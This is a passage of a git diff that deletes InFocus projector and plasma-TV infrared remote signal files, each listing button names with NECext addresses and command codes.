INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C3 00 00 00 -# -name: CH_CONTROL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E5 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir deleted file mode 100644 index 7835426ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RESET -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 82 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 83 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 84 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 85 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 86 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 87 00 00 00 -# -name: FAV+- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 89 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 8A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 8C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 8D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 8E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 8F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 90 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 91 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 92 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 93 00 00 00 -# -name: AUDIO_SOURCE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 94 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 96 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 97 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 98 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 9C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 9D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 9F 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C0 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C4 00 00 00 -# -name: CH+- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C8 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: CC 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: D0 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: D4 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: D9 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: DC 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir deleted file mode 100644 index 1e3435f17..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0E 00 00 00 -# -name: SOURSE_SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: KEYSTONE_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 20 00 00 00 -# -name: KEYSTONE_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 21 00 00 00 -# -name: PRESETS -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2C 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2D 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2E 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2F 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 30 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 31 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 32 00 00 00 -# -name: AUTO_IMAGE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 33 00 00 00 -# -name: RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 34 00 00 00 -# -name: OVERSCAN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 35 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 36 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 37 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 39 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3A 00 00 00 -# -name: NATIVE_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3B 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3C 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3D 00 00 00 -# -name: LETTERBOX -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3E 00 00 00 -# -name: NATURAL_WIDE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3F 00 00 00 -# -name: USER_PRESET_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 40 00 00 00 -# -name: USER_PRESET_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 41 00 00 00 -# -name: USER_PRESET_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir deleted file mode 100644 index d062729a8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 81 00 00 00 -# -name: source -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 83 00 00 00 -# -name: keystone_dec -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 84 00 00 00 -# -name: keystone_inc -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 85 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 86 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 87 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: C1 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: C2 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: C3 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: C4 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: C5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir deleted file mode 100644 index c4cb11396..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: Brightness-Up -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: Brightness-Down -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: Presets -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 30 00 00 00 -# -name: Blank -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 31 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 32 00 00 00 -# -name: AutoImage -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 33 00 00 00 -# -name: Resize -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 34 00 00 00 -# -name: Overscan -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 35 00 00 00 -# -name: Contrast-Up -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 36 00 00 00 -# -name: Contrast-Down -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir deleted file mode 100644 index 1f8dde854..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PageN... -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: Brigthness+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 04 00 00 00 -# -name: Brigthness- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 08 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0D 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: Comp -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 19 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir deleted file mode 100644 index c43f058f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir deleted file mode 100644 index 94b8e6d51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NATIVE -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 00 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 01 00 00 00 -# -name: WIDESCREEN -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 02 00 00 00 -# -name: WIDE_ENHANCED -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 03 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 12 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 16 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 17 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 18 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 19 00 00 00 -# -name: PC1_ANALOG -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 1A 00 00 00 -# -name: PC1_DIGITAL -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 1B 00 00 00 -# -name: COMP_HDTV -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 1C 00 00 00 -# -name: COMP_INT. -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 1D 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 1E 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 1F 00 00 00 -# -name: PC_HDTV -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 40 00 00 00 -# -name: PC_VGA -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir deleted file mode 100644 index 9c2005922..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 84 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: PICTURE_+ -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 86 00 00 00 -# -name: PICTURE_- -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 87 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 88 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 89 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8A 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8B 00 00 00 -# -name: PICTURE_RESET -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8C 00 00 00 -# -name: FOCUS_PATTERN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8D 00 00 00 -# -name: FOCUS_V -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8E 00 00 00 -# -name: FOCUS_^ -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8F 00 00 00 -# -name: AUTO_FOCUS -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: ZOOM_WIDE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 91 00 00 00 -# -name: ZOOM_NARROW -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 92 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir deleted file mode 100644 index 8d6c83873..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir +++ /dev/null @@ -1,596 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 00 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 01 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: BRIGHTNESS_> -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: BRITE+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: VOLUME_< -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 04 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 05 00 00 00 -# -name: SCRIBBLE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 06 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: BRIGHTNESS_< -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: BRITE- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: FOCUS_NEAR -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 08 00 00 00 -# -name: VOLUME_> -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 08 00 00 00 -# -name: FOCUS_FAR -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 09 00 00 00 -# -name: LITESHOW -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 09 00 00 00 -# -name: ZOOM_IN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0A 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0A 00 00 00 -# -name: ZOOM_OUT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0D 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0E 00 00 00 -# -name: SOURCE_SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 10 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 10 00 00 00 -# -name: CURSOR_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 13 00 00 00 -# -name: CURSOR_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: HORIZ_OFFSET_LEFT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 1B 00 00 00 -# -name: HORIZ_OFFSET_RIGHT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 1C 00 00 00 -# -name: VERT_OFFSET_UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 1D 00 00 00 -# -name: VERT_OFFSET_DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 1E 00 00 00 -# -name: KEYSTONE_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 20 00 00 00 -# -name: KEYSTONE_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 21 00 00 00 -# -name: CUSTOM -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2B 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2C 00 00 00 -# -name: PRESETS -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2C 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2D 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2E 00 00 00 -# -name: SOURCE2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2E 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2F 00 00 00 -# -name: SOURCE3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2F 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 30 00 00 00 -# -name: SOURCE4 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 30 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 31 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 32 00 00 00 -# -name: AUTO_IMAGE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 33 00 00 00 -# -name: RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 34 00 00 00 -# -name: OVERSCAN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 35 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 36 00 00 00 -# -name: CONTRAST+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 36 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 37 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 39 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3A 00 00 00 -# -name: NATIVE_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3B 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3C 00 00 00 -# -name: 16:9_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3C 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3D 00 00 00 -# -name: 4:3_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3D 00 00 00 -# -name: LETTERBOX -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3E 00 00 00 -# -name: LETTERBOX_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3E 00 00 00 -# -name: NATURAL_WIDE_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3F 00 00 00 -# -name: NATURAL_WIDE_RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3F 00 00 00 -# -name: USER_PRESET_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 40 00 00 00 -# -name: USER_PRESET_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 41 00 00 00 -# -name: USER_PRESET_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 42 00 00 00 -# -name: LEVEL_^ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 80 00 00 00 -# -name: CONT_^ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 81 00 00 00 -# -name: WINDOW_^ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 82 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 83 00 00 00 -# -name: LEVEL_V -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 84 00 00 00 -# -name: CONT_V -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 85 00 00 00 -# -name: WINDOW_V -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 86 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 87 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 88 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 8B 00 00 00 -# -name: GRAB -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 8F 00 00 00 -# -name: PRESENT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 90 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 91 00 00 00 -# -name: TOOLS -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 92 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 93 00 00 00 -# -name: UP_LEFT_CORNER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 94 00 00 00 -# -name: UP_(^) -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 95 00 00 00 -# -name: UP_RIGHT_CORNER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 96 00 00 00 -# -name: ESC -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 97 00 00 00 -# -name: LEFT_(<) -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 98 00 00 00 -# -name: RIGHT_(>) -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 9A 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 9B 00 00 00 -# -name: REAR_LEFT_CORNER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 9C 00 00 00 -# -name: DOWN_(V) -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 9D 00 00 00 -# -name: REAR_RIGHT_CORNER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 9E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir deleted file mode 